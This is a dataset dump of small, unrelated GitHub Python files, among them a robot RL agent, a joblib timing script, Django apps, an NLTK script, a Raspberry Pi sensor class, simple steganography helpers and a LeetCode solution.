self._update_target_network(self.state_value_target_residual,\n                                            self.state_value_residual)\n\n                # Update dynamics model\n                for _ in range(self.args.n_batches):\n                    loss = self._update_learned_dynamics_model().item()\n                    model_losses.append(loss)\n\n            # Evaluate agent in the model\n            mean_success_rate, mean_return = self.eval_agent_in_model()\n            # Check if this is a better residual\n            if mean_success_rate > best_success_rate:\n                best_success_rate = mean_success_rate\n                print('Best success rate so far', best_success_rate)\n                if self.args.save_dir is not None:\n                    print('Saving residual')\n                    self.save(epoch, best_success_rate)\n\n            # log\n            logger.record_tabular('epoch', epoch)\n            logger.record_tabular('n_steps', n_steps)\n            logger.record_tabular('success_rate', mean_success_rate)\n            logger.record_tabular('return', mean_return)\n            logger.record_tabular(\n                'state_value_residual_loss', np.mean(losses))\n            logger.record_tabular('dynamics_loss', np.mean(model_losses))\n            logger.dump_tabular()\n\n    def _update_target_network(self, target, source):\n        for target_param, param in zip(target.parameters(), source.parameters()):\n            target_param.data.copy_(\n                (1 - self.args.polyak) * param.data + self.args.polyak * target_param.data)\n\n    def _update_state_value_residual(self):\n        transitions = self.memory.sample_internal_world_memory(\n            self.args.batch_size)\n\n        obs, g, ag = transitions['obs'], transitions['g'], transitions['ag']\n        features, heuristic = transitions['features'], transitions['heuristic']\n        targets = []\n\n        for i in range(self.args.batch_size):\n            observation = {}\n            observation['observation'] = obs[i].copy()\n            observation['desired_goal'] = g[i].copy()\n            observation['achieved_goal'] = ag[i].copy()\n\n            _, info = self.controller.act(observation)\n            targets.append(info['best_node_f'])\n        targets = np.array(targets).reshape(-1, 1)\n        features_norm = self.features_normalizer.normalize(features)\n\n        inputs_norm = torch.as_tensor(features_norm, dtype=torch.float32)\n        targets = torch.as_tensor(targets, dtype=torch.float32)\n\n        h_tensor = torch.as_tensor(\n            heuristic, dtype=torch.float32).unsqueeze(-1)\n        # Compute target residuals\n        target_residual_tensor = targets - h_tensor\n        # Clip target residual tenssor to avoid value function less than zero\n        target_residual_tensor = torch.max(\n            target_residual_tensor, -h_tensor)\n        # Clip target residual tensor to avoid value function greater than horizon\n        if self.args.offline:\n            target_residual_tensor = torch.min(target_residual_tensor,\n                                               self.env_params['offline_max_timesteps'] - h_tensor)\n\n        # COmpute predictions\n        residual_tensor = self.state_value_residual(inputs_norm)\n        # COmpute loss\n        state_value_residual_loss = (\n            residual_tensor - target_residual_tensor).pow(2).mean()\n\n        # Backprop and step\n        self.state_value_residual_optim.zero_grad()\n        state_value_residual_loss.backward()\n        self.state_value_residual_optim.step()\n\n        # Configure heuristic for controller\n        self.controller.reconfigure_heuristic(\n            lambda obs: get_state_value_residual(obs,\n                                                 self.preproc_inputs,\n                                                 self.state_value_residual))\n\n        return state_value_residual_loss\n\n    def _update_learned_dynamics_model(self):\n        transitions = self.memory.sample_real_world_memory(\n            self.args.batch_size)\n        obs, ac_ind, obs_next = transitions['obs'], transitions['actions'], transitions['obs_next']\n        gripper_pos = obs[:, :2]\n        obj_pos = obs[:, 3:5]\n        s = np.concatenate([gripper_pos, obj_pos], axis=1)\n        s_tensor = torch.as_tensor(s, dtype=torch.float32)\n        a_tensor = torch.as_tensor(ac_ind, dtype=torch.long)\n\n        # Get predicted next state\n        predicted_s_next_tensor = self.learned_model_dynamics(\n            s_tensor, a_tensor)\n\n        # Get true next state\n        gripper_pos_next = obs_next[:, :2]\n        obj_pos_next = obs_next[:, 3:5]\n        s_next = np.concatenate([gripper_pos_next, obj_pos_next], axis=1)\n        s_next_tensor = torch.as_tensor(s_next, dtype=torch.float32)\n\n        # Compute MSE loss\n        loss = (predicted_s_next_tensor - s_next_tensor).pow(2).mean()\n        # Backprop and step\n        self.learned_model_dynamics_optim.zero_grad()\n        loss.backward()\n        self.learned_model_dynamics_optim.step()\n\n        # Configure new dynamics model for controller\n        self.controller.reconfigure_learned_model_dynamics(\n            lambda observation, ac: get_next_observation(\n                observation,\n                ac,\n                self.preproc_dynamics_inputs,\n                self.learned_model_dynamics)\n        )\n\n        return loss\n\n    def preproc_inputs(self, obs, g):\n        '''\n        Function to preprocess inputs\n        '''\n        features = self.env.extract_features(obs, g)\n        features_norm = self.features_normalizer.normalize(features)\n        inputs = torch.as_tensor(\n            features_norm, dtype=torch.float32).unsqueeze(0)\n        return inputs\n\n    def preproc_dynamics_inputs(self, obs, ac):\n        gripper_pos = obs[:2]\n        obj_pos = obs[3:5]\n        s = np.concatenate([gripper_pos, obj_pos])\n        ac_ind = self.env.discrete_actions[tuple(ac)]\n\n        s_tensor = torch.as_tensor(s, dtype=torch.float32).unsqueeze(0)\n        a_tensor = torch.as_tensor(ac_ind, dtype=torch.long).unsqueeze(0)\n\n        return s_tensor, a_tensor\n\n    def save(self, epoch, success_rate):\n        return save_agent(path=self.args.save_dir+'/fetch_mbpo_agent.pth',\n                          network_state_dict=self.state_value_residual.state_dict(),\n                          optimizer_state_dict=self.state_value_residual_optim.state_dict(),\n                          normalizer_state_dict=self.features_normalizer.state_dict(),\n                          dynamics_state_dict=self.learned_model_dynamics.state_dict(),\n                          dynamics_optimizer_state_dict=self.learned_model_dynamics_optim.state_dict(),\n                          epoch=epoch,\n                          success_rate=success_rate)\n\n    def load(self):\n        load_dict, load_dict_keys = load_agent(\n            self.args.load_dir+'/fetch_mbpo_agent.pth')\n        self.state_value_residual.load_state_dict(\n            load_dict['network_state_dict'])\n        self.state_value_target_residual.load_state_dict(\n            load_dict['network_state_dict'])\n        if 'optimizer_state_dict' in load_dict_keys:\n            self.state_value_residual_optim.load_state_dict(\n                load_dict['optimizer_state_dict'])\n        if 'normalizer_state_dict' in load_dict_keys:\n            self.features_normalizer.load_state_dict(\n                load_dict['normalizer_state_dict'])\n        if 'dynamics_state_dict' in load_dict_keys:\n            self.learned_model_dynamics.load_state_dict(\n                load_dict['dynamics_state_dict'])\n        if 'dynamics_optimizer_state_dict' in load_dict_keys:\n            self.learned_model_dynamics_optim.load_state_dict(\n                load_dict['dynamics_optimizer_state_dict'])\n        return\n\n    def eval_agent_in_model(self):\n        total_success_rate, total_return = [], []\n        for _ in range(self.args.n_test_rollouts):\n            per_success_rate, per_return = [], 0\n            observation = self.env.reset()\n            for _ in range(self.env_params['offline_max_timesteps']):\n                ac, _ = self.controller.act(observation)\n                observation, rew, _, info = self.env.step(np.array(ac))\n                per_success_rate.append(info['is_success'])\n                per_return += rew\n\n            total_success_rate.append(per_success_rate)\n            total_return.append(per_return)\n\n        total_success_rate = np.array(total_success_rate)\n        mean_success_rate = np.mean(total_success_rate[:, -1])\n        mean_return = np.mean(total_return)\n        return mean_success_rate, mean_return\n","repo_name":"vvanirudh/CMAX","sub_path":"src/odium/agents/fetch_agents/graveyard/fetch_mbpo_agent.py","file_name":"fetch_mbpo_agent.py","file_ext":"py","file_size_in_byte":17406,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"}
{"seq_id":"11133143630","text":"import math\nimport time\n\nfrom joblib import Parallel, delayed\nfrom psutil import cpu_count\n\n\nRANGE = 14000\n\n\ndef main_01():\n    res = [math.factorial(x) for x in range(RANGE)]\n    return None\n\n\ndef main_02():\n    res = Parallel(n_jobs=2)(delayed(math.factorial)(x) for x in range(RANGE))\n    return None\n\n\ndef main_03():\n    res = Parallel(n_jobs=4)(delayed(math.factorial)(x) for x in range(RANGE))\n    return None\n\n\ndef main_04():\n    res = Parallel(n_jobs=-1)(delayed(math.factorial)(x) for x in range(RANGE))\n    return None\n\n\nif __name__ == '__main__':\n\n    for func, cores in {main_01: 1, main_02: 2, main_03: 4, main_04: cpu_count()}.items():\n        t1 = time.time()\n        func()\n        main_04()\n        t2 = time.time()\n        print(f'Execusion time: {t2 - t1:.4f}s with usage of: {cores} core(s).')\n","repo_name":"Cybernetic-Ransomware/proving_ground","sub_path":"NeuralNine/joblib/fractals_counting_with_Paraller.py","file_name":"fractals_counting_with_Paraller.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"28434812230","text":"#!/usr/bin/python\nimport commands\n\n#Model\nfa = -3.0\nfb = 3.5\ncomp = 1\n\n#Simulation\npaths = 2**17 #1024\nperiods = 1000\nspp = 200\nsamples = 2000\ntrans = 0.1\n\n#output\nout = 'cdich'\noutput = open('%s.dat' % out, 'w')\n\n#sim\ndef lim(tau): return fa/((fa-fb)*tau)\n\nN = 10\nA = -2 #1.54\nB = 0 #46.2\nstep = (B-A)/float(N-1)\nfor tau in [10**(A + i*step) for i in range(N)]:\n  mua = lim(tau)\n  mub = -fb*mua/fa\n  _cmd = './cdich --fa=%s --fb=%s --mua=%s --mub=%s --comp=%d --paths=%s --periods=%s --spp=%d --trans=%s --samples=%d' % (fa, fb, mua, mub, comp, paths, periods, spp, trans, samples)\n  cmd = commands.getoutput(_cmd)\n  print >>output, '#%s' % _cmd\n  lcmd = []\n  for l in cmd.split('\\n'):\n    if l[0] == '#':\n      lcmd.append(l+\" [5]mua\")\n    else:\n      lcmd.append(l+\" \"+str(mua))\n  cmd = '\\n'.join(lcmd)\n  print >>output, cmd\noutput.close()\n","repo_name":"jspiechowicz/cpc","sub_path":"cdich.py","file_name":"cdich.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"444509412","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nHOST = '127.0.0.1'\nPORT = 8848\n\nfor data in [b'Linda', b'Rebecca', b'Sunny']:\n    # 发送数据\n    s.sendto(data, (HOST, PORT))\n    # 接收数据\n    print(s.recv(1024).decode('utf-8'))\n\ns.close()\n","repo_name":"martinwangjun/python_study","sub_path":"13_network/udc_client.py","file_name":"udc_client.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3116591411","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\nimport unittest\nimport unicodedata\nimport random\nimport string\n\nimport CorrTranslator as corr\nimport translator\n\n\ndef equal_string(uni_string):\n    return unicodedata.normalize('NFKD', uni_string)\n\n\nclass TestExtractor(unittest.TestCase):\n    def test_exist(self):\n        self.assertTrue(hasattr(translator, 'translate'), _(\"You did not name the method as expected.\"))\n\n    def test_translation(self):\n        a = [\"I shot an elephant in my pajama\", \"This is a test\"]\n        ans = _(\"The expected translation of {} in {} is {} and you returned {}.\")\n        for e in a:\n            for lan in ['es', 'fr']:\n                stu_ans = translator.translate(e, lan)\n                corr_ans = corr.translate(e, lan)\n                self.assertEqual(equal_string(corr_ans.lower()), equal_string(stu_ans.lower()), ans.format(e, lan, corr_ans, stu_ans))\n\n    def test_oov(self):\n        a = [\"This is a shame\", \"I look like an elephant in my pajama\"]\n        ans = _(\"The expected translation of {} in {} is {} and you returned {}.\")\n        for e in a:\n            for lan in ['es', 'fr']:\n                stu_ans = translator.translate(e, lan)\n                corr_ans = corr.translate(e, lan)\n                self.assertEqual(equal_string(corr_ans.lower()), equal_string(stu_ans.lower()), ans.format(e, lan, corr_ans, stu_ans))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"gonzeD/CS1-Python","sub_path":"Translator/src/TestTranslator.py","file_name":"TestTranslator.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"14164391656","text":"import re\nfrom random import choice\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import default_storage\n\n\ndef list_entries():\n    \"\"\"\n    Returns a list of all names of encyclopedia entries.\n    \"\"\"\n    _, filenames = default_storage.listdir(\"entries\")\n    return list(sorted(re.sub(r\"\\.md$\", \"\", filename)\n                for filename in filenames if filename.endswith(\".md\")))\n\n\ndef save_entry(title, content):\n    \"\"\"\n    Saves an encyclopedia entry, given its title and Markdown\n    content. If an existing entry with the same title already exists,\n    it is replaced.\n    \"\"\"\n    filename = f\"entries/{title}.md\"\n    if default_storage.exists(filename):\n        default_storage.delete(filename)\n    default_storage.save(filename, ContentFile(content))\n\n\ndef get_entry(title):\n    \"\"\"\n    Retrieves an encyclopedia entry by its title. If no such\n    entry exists, the function returns None.\n    \"\"\"\n    try:\n        f = default_storage.open(f\"entries/{title}.md\")\n        return f.read().decode(\"utf-8\")\n    except FileNotFoundError:\n        return None\n\n\n\ndef search_entries(search):\n    \"\"\"\n    Returns a list of all names of encyclopedia entries with search substring.\n    \"\"\"\n    mylist = list_entries() #get all entries\n    newlist = [] #initialize new empty list\n    #search for substring\n    newlist = list(filter(lambda v: re.search(rf'{search}', v, re.IGNORECASE), mylist))\n    return newlist\n\ndef random():\n    \"\"\"\n    returns a random title name\n    \"\"\"\n    return choice(list_entries())","repo_name":"rajeevreddyms5/wiki","sub_path":"encyclopedia/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"39317825837","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\ntrainSet = pd.read_csv('./way2Data/train.csv')\r\ntestSet = pd.read_csv('./way2Data/testSet.csv')\r\ngbdt = GradientBoostingClassifier(random_state=10)\r\ngbdt.fit(trainSet.ix[:, 2:6], trainSet.ix[:, -1])\r\ntrainGBDT_y = gbdt.predict(trainSet.ix[:, 2:6])\r\nprint(trainGBDT_y.sum())\r\nprint(gbdt.score(trainSet.ix[:, 2:6], trainSet.ix[:, -1]))#0.996753139184\r\n\r\n#计算精准率和召回率\r\nfrom sklearn.model_selection import train_test_split, cross_val_score\r\n#精准率\r\nprecision = cross_val_score(gbdt, trainSet.ix[:, 2:6], trainSet.ix[:, -1], cv=5, scoring='precision')\r\nprint('精确度：', np.mean(precision))\r\n#召回率\r\nrecalls = cross_val_score(gbdt, trainSet.ix[:, 2:6], trainSet.ix[:, -1], cv=5, scoring='recall')\r\nprint('召回率：', np.mean(recalls))\r\n#计算综合指标f1\r\nf1 = cross_val_score(gbdt, trainSet.ix[:, 2:6], trainSet.ix[:, -1], cv=5, scoring='f1')\r\nprint('得分：', np.mean(f1))\r\n\r\n#计算测试f1得分\r\n# testLRW_y = gbdt.predict(test_x.ix[:, 2:6])\r\nprecision_test = cross_val_score(gbdt, testSet.ix[:, 2:6], testSet.ix[:, -1], cv=5, scoring='precision')\r\nrecall_test = cross_val_score(gbdt, testSet.ix[:, 2:6], testSet.ix[:, -1], cv=5, scoring='recall')\r\nf1_test = cross_val_score(gbdt, testSet.ix[:, 2:6], testSet.ix[:, -1], cv=5, scoring='f1')\r\nprint('f1得分：', np.mean(f1_test))  #f1得分： 0.0125","repo_name":"xuweiling/tianchi","sub_path":"way2/way2GDBT.py","file_name":"way2GDBT.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"28518562693","text":"from nltk.tokenize import sent_tokenize, word_tokenize\n#from nltk.collocations import *\n#from nltk import bigrams\n#from nltk import ngrams\n#import nltk\n\n'''word_text = \"hello there how are you doing\"\nsent_text = \"Hello Mr. Arun today we are gonna do some heavy lifting. Are you up for it?\"\n\n\n#print (word_tokenize(word_text))\n#print (sent_tokenize(sent_text))\n\n\nword_tokenized_string = word_tokenize(word_text)\n\n\n\n#Printing Grams in corpus\nunigram_string = ngrams(word_tokenized_string, 1)\n\nprint(\"Unigram_string:\\n\")\n\nfor grams in unigram_string:\n    print(grams)\n#    finder.ngram_fd(grams)\n\n\n#fdist = nltk.FreqDist(unigram_string)\n#for k,v in fdist.items():\n #   print (k,v)\n#    finder.ngram_fd.viewitems()\n\nprint(\"\\n\")\n\n\n#Printing Bigrams in corpus\n\nbigram_string = ngrams(word_tokenized_string, 2)\n\n#finder = BigramCollocationFinder.from_words(bigram_string)\n#finder.items()[0:5]\n\n\nprint(\"Bigram_string:\\n\")\n\nfor grams in bigram_string:\n    print(grams)\n\nfdist = nltk.FreqDist(bigram_string)\nfor k,v in fdist.items():\n    print (k,v)\n\nfor grams in bigram_string: \n    print(finder.ngram_fd.viewitems(grams))\n\n\nprint(\"\\n\")\n\n\n#Priting Trigrams in corpus\ntrigram_string = ngrams(word_tokenized_string, 3)\n\nprint(\"Trigram_string:\\n\")\n\nfor grams in trigram_string:\n    print(grams)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n'''\n# Code to open corpus file, read it, tokenize it on basis of word and dump it in other file\n\nfile_1 = open(\"xab\", \"r+\")\nfile_2 = open(\"word_tokenized.txt\", \"w\")\n\n#print (file.read())\n\nfor i in word_tokenize(file_1.read()):\n\tfile_2.write(i)\n","repo_name":"ozajay0207/pre_processing_nlp","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"24083890558","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom statsmodels.tools.tools import add_constant\n\ndef load_csv_to_pd(csv_file_path):\n    df = pd.read_csv(csv_file_path, sep=r'\\s*,\\s*', engine='python')\n    df.drop_duplicates(subset=None, inplace=True)\n    return df\n\n# csv_file_path = r\"C:\\Users\\kothi\\Documents\\individual_project\\individual_project\\data\\S1AIW_S2AL2A_NDVI_EVI_SATVI_DEM_LUCASTIN_roi_points_0.04.csv\"\ncsv_file_path = r\"C:\\Users\\kothi\\Documents\\individual_project\\individual_project\\data\\S1AIW_S2AL2A_NDVI_EVI_SATVI_DEM_LUCASTIN_roi_points_0.02.csv\"\ndata_df = load_csv_to_pd(csv_file_path)\n\nfeatures_list = [\n    'VH_1','VV_1','VH_2','VV_2','VH_3','VV_3','VH_4','VV_4','VH_5','VV_5',\n    'BAND_11','BAND_12','BAND_2','BAND_3','BAND_4','BAND_5','BAND_6','BAND_7','BAND_8','BAND_8A','NDVI','EVI','SATVI',\n    'DEM_ELEV','DEM_CS','DEM_LSF','DEM_SLOPE','DEM_TWI',\n    'OC'\n]\n\ndf = data_df[features_list]\n\n# Calculate correlation between variables\ncor = df.corr()\nprint(cor)\n\nplt.figure(figsize=(10,6))\nsns.heatmap(cor, annot=True)\nplt.show()\n\n# Calculate VIF\n\nx = df.drop('OC', 1)\n# Need to add constant to match calculation in R (https://stackoverflow.com/questions/42658379/variance-inflation-factor-in-python)\nx = add_constant(x)\ny = df['OC']\n\nthresh = 10\nfinal_feature_list = []\n\nn = x.shape[1]\n\nvif = [variance_inflation_factor(x.values, i) for i in range(n)]\nprint(pd.Series(vif, index=x.columns))\nfor i in range(1, n):\n    if vif[i] <= thresh:\n        final_feature_list.append(x.columns[i])\n\nprint(\"Final features list:\", final_feature_list)","repo_name":"TerrenceCKCHAN/Carbon-Trading-Verfication","sub_path":"archive/Estimating-SOC/src/utils/corrcoef.py","file_name":"corrcoef.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"49222400383","text":"import RPi.GPIO as GPIO\nimport time\n\nclass Ultrasonico:\n    def __init__(self, trigger, echo):\n        self.trigger = trigger\n        self.echo = echo\n        GPIO.setmode(GPIO.BCM)\n        GPIO.setup(self.trigger, GPIO.OUT)\n        GPIO.setup(self.echo, GPIO.IN)\n        GPIO.output(self.trigger, GPIO.LOW)\n        time.sleep(0.2) \n        GPIO.setwarnings(False)\n\n    def medirDistancia(self):\n        GPIO.setwarnings(False)\n        \n        GPIO.output(self.trigger, GPIO.HIGH)\n        time.sleep(0.00001)\n        GPIO.output(self.trigger, GPIO.LOW)\n        while GPIO.input(self.echo) == GPIO.LOW:\n            pulse_start = time.time()\n        while GPIO.input(self.echo) == GPIO.HIGH:\n            pulse_end = time.time()\n        pulse_duration = pulse_end - pulse_start\n        distance = pulse_duration * 17150\n        distance = round(distance, 2)\n        return distance\n    \n    def cleanup(self):\n        GPIO.cleanup()\n\nif __name__ == \"__main__\":\n    sensor = Ultrasonico(23, 24)\n    distancia = sensor.medirDistancia()\n    print(\"Distancia: {} cm\".format(distancia))\n    sensor.cleanup()   ","repo_name":"CoderGeasy/sensoresRasp","sub_path":"Ultrasonico.py","file_name":"Ultrasonico.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"18900481142","text":"import sympy as sp\nimport numpy as np\n\ndef get_rational_coeffs(expr,var):\n    expr = sp.expand(expr)\n    #print(expr)\n    num, denom = expr.as_numer_denom()\n\n    return [sp.Poly(num, var).all_coeffs(), sp.Poly(denom, var).all_coeffs()]\n\n\n\nvg, vout, s = sp.symbols(\"vg vout s\")\n\nr1, r2, r3, r4, c1, c2 = sp.symbols(\"r1 r2 r3 r4 c1 c2\")\n\nh = sp.solve([\n    vg*(1/r2 + s * c2) - (vg-vout)*(1/(r1 + (1/(c1*s)))) ],\n    (vg))\n\nprint(h)\n\nh = get_rational_coeffs(h[vg], s)\n\n#print(h)\nfactor = h[1][0]\n\nfor i in range(len(h[0])):\n    h[0][i] /= factor\nfor i in range(len(h[1])):\n    h[1][i] /= factor\n\nprint(h)","repo_name":"mregueira/TP1_Electronica2","sub_path":"TP1/graficos_express/util_python/python-utilidades/sistema1.py","file_name":"sistema1.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7050229426","text":"def addbin2(a,b):\r\n\treturn addi(a,b) if (isinstance(a,str) and isinstance(b,str)) else None\r\ndef addi(a,b):\r\n\ta,b,c,r  =  list(map(int,list(a))) , list(map(int,list(b))), False, []\r\n\tfor i in range(len(a)-1 ,-1,-1):\r\n\t\tr += [int(((a[i] and b[i] and c) or (not(a[i]) and b[i] and not(c)) or (not(a[i]) and not(b[i]) and c) or (a[i] and not(b[i]) and not(c))))]\r\n\t\tc = (a[i] and b[i]) or (b[i] and c) or (a[i] and c)\r\n\treturn [int(c)] + r\r\n# appel de la fonction\r\na,b =  \"111\",\"100\"\r\nprint(addbin2(a,b))\r\n\r\n\r\n\r\n","repo_name":"matrix11061991/30-Days-Of-Code","sub_path":"day-1/additionneur.py","file_name":"additionneur.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"31379764955","text":"import os\n\ndef bytesToBits(Bytes):\n    res = \"\".join(f'{byte:08b}' for byte in Bytes)\n    return res\n\ndef bitsToBytes(bits):\n    res = bytes(int(bits[i:i+8],2) for i in range(0,len(bits),8))\n    return res\n\n\ndef hiding_message(carrier, message, start_bit, length, mode='fixed'):\n    carrier_data = bytesToBits(carrier)\n    message_data = bytesToBits(message)\n\n    if mode=='fixed':\n        length_vals = [length]\n    elif mode=='variable':\n        length_vals = [8, 16, 28]\n    else:\n        raise ValueError('Invalid mode. Please choose either \\'fixed\\' or \\'variable\\'.')\n\n    carrier_index = start_bit\n    message_index = 0\n    \n    length_val = 0\n    for i in range(len(message_data)):\n        if carrier_index >= len(carrier_data) and message_index >= len(message_data):\n            break\n        carrier_data = carrier_data[:carrier_index] + message_data[message_index] + carrier_data[carrier_index+1:]\n        carrier_index += length_vals[length_val]\n        message_index += 1\n        length_val = (length_val + 1) % len(length_vals)\n\n\n\n    return bitsToBytes(carrier_data)\n\n\ndef retrieve_message(carrier, message_length, start_bit, length, mode='fixed'):\n    carrier_data = bytesToBits(carrier)\n\n    if mode=='fixed':\n        length_vals = [length]\n    elif mode =='variable':\n        length_vals = [8, 16, 28]\n    else:\n        raise ValueError('Invalid mode. Please choose either \\'fixed\\' or \\'variable\\'.')\n\n    carrier_index = start_bit\n    message = ''\n\n    length_val = 0\n    for i in range(message_length * 8):\n        if carrier_index >= len(carrier_data):\n            break\n        message += carrier_data[carrier_index]\n        carrier_index += length_vals[length_val]\n        length_val = (length_val+1) % len(length_vals)\n\n    return bitsToBytes(message)\n\n\n\n\n    \n","repo_name":"MihirIngole28/Web-based-Information-Security-Tool","sub_path":"utils/steganography.py","file_name":"steganography.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"11351256979","text":"#!/usr/bin/env python\n\"\"\"\nCREATED AT: 2022/2/8\nDes:\n\nGITHUB: https://github.com/Jiezhi/myleetcode\n\nDifficulty: Medium\n\nTag: Graph\n\nSee: \n\nTime Spent:  min\n\"\"\"\nimport collections\nimport sys\nfrom typing import List\n\n\nclass Solution:\n    def findCheapestPrice(self, n: int, flights: List[List[int]], src: int, dst: int, k: int) -> int:\n        \"\"\"\n        CREATED AT: 2022/2/8\n        50 / 50 test cases passed.\n        Status: Accepted\n        Runtime: 278 ms, faster than 35.32%\n        Memory Usage: 15.2 MB, less than 68.36%\n        1 <= n <= 100\n        0 <= flights.length <= (n * (n - 1) / 2)\n        flights[i].length == 3\n        0 <= from_i, to_i < n\n        from_i != to_i\n        1 <= price_i <= 10^4\n        There will not be any multiple flights between two cities.\n        0 <= src, dst, k < n\n        src != dst\n        :param n:\n        :param flights:\n        :param src:\n        :param dst:\n        :param k:\n        :return:\n        \"\"\"\n        pre_dp = [sys.maxsize] * n\n        cur_dp = [sys.maxsize] * n\n        pre_dp[src] = 0\n        # vertex output edge relations\n        flight_dict = collections.defaultdict(list)\n        for flight in flights:\n            flight_dict[flight[0]].append((flight[1], flight[2]))\n        cur_level = set()\n        cur_level.add(src)\n        for _ in range(k + 1):\n            next_level = set()\n            for vertex in cur_level:\n                for flight in flight_dict[vertex]:\n                    cur_dp[flight[0]] = min(cur_dp[flight[0]], pre_dp[vertex] + flight[1])\n                    next_level.add(flight[0])\n            cur_level = next_level.copy()\n            pre_dp = cur_dp.copy()\n\n        return cur_dp[dst] if cur_dp[dst] != sys.maxsize else -1\n\n\ndef test():\n    assert Solution().findCheapestPrice(n=4, flights=[[0, 1, 1], [0, 2, 5], [1, 2, 1], [2, 3, 1]], src=0, dst=3,\n                                        k=1) == 6\n    assert Solution().findCheapestPrice(n=3, flights=[[0, 1, 100], [1, 2, 100], [0, 2, 500]], src=0, dst=2, k=0) == 500\n    assert Solution().findCheapestPrice(n=3, flights=[[0, 1, 100], [1, 2, 100], [0, 2, 500]], src=0, dst=2, k=1) == 200\n\n\nif __name__ == '__main__':\n    test()\n","repo_name":"Jiezhi/myleetcode","sub_path":"src/787-CheapestFlightsWithinKStops.py","file_name":"787-CheapestFlightsWithinKStops.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"24110222874","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n# Create your views here.\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom models import * \nfrom django.contrib import messages\n# the index function is called when root is visited\ndef index(request):\n    return render(request, \"beltexam/index.html\")\n\ndef create(request ):\n    result = User.objects.validate_registration(request.POST)\n    if type(result) == list:\n        for err in result:\n            messages.error(request, err)\n        return redirect('/')\n    request.session['user_id'] = result.id\n    return redirect('/success')\n\ndef login(request):\n    result = User.objects.validate_login(request.POST)\n    if type(result) == list:\n        for err in result:\n            messages.error(request, err)\n        return redirect('/')\n    request.session['user_id'] = result.id\n    return redirect('/success')\n\ndef success(request):\n    try:\n        request.session['user_id']\n    except KeyError:\n        return redirect('/')\n    context = {\n        'user': User.objects.get(id=request.session['user_id']),\n        'items': User.objects.get(id=request.session['user_id']).wishlist_items.all(),\n        'all_items': Item.objects.exclude(added=request.session['user_id'])\n    }\n    return render(request, 'beltexam/success.html', context)\n\ndef addproduct(request):\n    if len(request.POST['item']) == 0:\n        messages.error(request, \"item entry should not be empty\")\n        return redirect(\"/addcreate\")\n    elif len(request.POST['item']) < 3:\n        messages.error(request, \"item should be more than 3 characters\")\n        return redirect(\"/addcreate\")\n    else:\n        Item.objects.create(item=request.POST['item'],added=User.objects.get(id=request.session['user_id']))\n        User.objects.get(id = request.session['user_id']).wishlist_items.add(Item.objects.get(item=request.POST['item']))\n        return redirect('/success')\n\ndef addcreate(request):\n    return render(request, 'beltexam/create.html')\n\ndef join_wish_items(request, id):\n    Item.objects.get(id=id).wishlist_by.add(User.objects.get(id=request.session['user_id']))\n    return redirect('/success')\n\ndef wishlist(request, id):\n    context = {\n        'item': Item.objects.get(id=id),\n        'users': Item.objects.get(id=id).wishlist_by.all()\n    }\n    return render(request,'beltexam/wishlist.html', context)\n\n\n\ndef delete(request, id):\n    Item.objects.get(id=id).delete()\n    return redirect(\"/success\")\n\ndef remove(request, id):\n    Item.objects.get(id=id).wishlist_by.remove(User.objects.get(id = request.session['user_id']))\n    return redirect(\"/success\")","repo_name":"havishat/wishlist","sub_path":"apps/beltexam/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
